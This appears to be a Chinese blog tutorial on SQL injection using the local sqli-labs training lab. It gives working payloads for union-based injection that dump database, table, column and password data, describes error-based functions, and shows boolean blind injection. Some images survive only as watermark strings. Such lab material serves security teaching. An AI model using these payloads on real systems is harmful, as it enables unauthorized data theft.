Sql注入

目录

 

联合注入

判断注入点

判断显示位(列)

联合查询

报错注入

extractvalue()

updatexml()

盲注


联合注入

判断注入点

GET['id']

?id=n

eg:127.0.0.1/sqli-labs/Less-1/?id=1

%23(#):过滤后面的语句

eg:127.0.0.1/sqli-labs/Less-1/?id=1' %23

加 ' 报错,再加%23(#)不报错,可判断一个注入点

整型注入:注入的是1,2,3......

字符型注入:注入的是a,b,c,def......

判断显示位(列)

order by n

n>列数 -->报错

n<=列数 -->不报错

eg:127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 %23

联合查询

union select

eg:127.0.0.1/sqli-labs/Less-1/?id=n' union select 1,2,3 %23

n为不存在的id

可在显示的数字与查询的数字一样的位置使用注入语句

如想爆它的库,用database()

eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,database() %23可得库名security

group_concat:将一列数据拼接成一排

eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat() %23

mysql中有一个information_schema,它记录了所有数据库的表名和列名,可查它来获得相应库下的表名,列名。

如查security的表、列名:

step:

爆表名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23

爆列名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23

爆数据:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(password) from users %23

报错注入

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

extractvalue()

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

updatexml()

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

extractvalue()和updatexml()返回数据的长度有限制,为32位 

mysql right函数

right(s,n):返回字符串s最右边的n个字符

盲注

盲注通常来讲分为布尔盲注和时间盲注,我们这里主要讲布尔盲注。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

第一种页面即代表数据存在或者你传递的参数是正确的,所以这个时候我们可以用length()函数来判断长度 ,当我们传递id=1' and length(database())>3时,该语句判断数据库名长度是否大于3,如果大于则返回第一个页面

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0lDTlUtQ1M=,size_20,color_FFFFFF,t_70,g_se,x_16

 所以我们就可以通过修改参数来获得数据库名长度。

之后我们可以构造另一个注入语句,id=1' and ascii(substr((database()),1,1))>1 --+

这个则是判断数据库名的第一个字符所对应的ascii码是否大于1,符合则返回第一个页面,然后我们就可以一个一个试,最后得到所有字符的ascii码,然后得到想要的数据。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值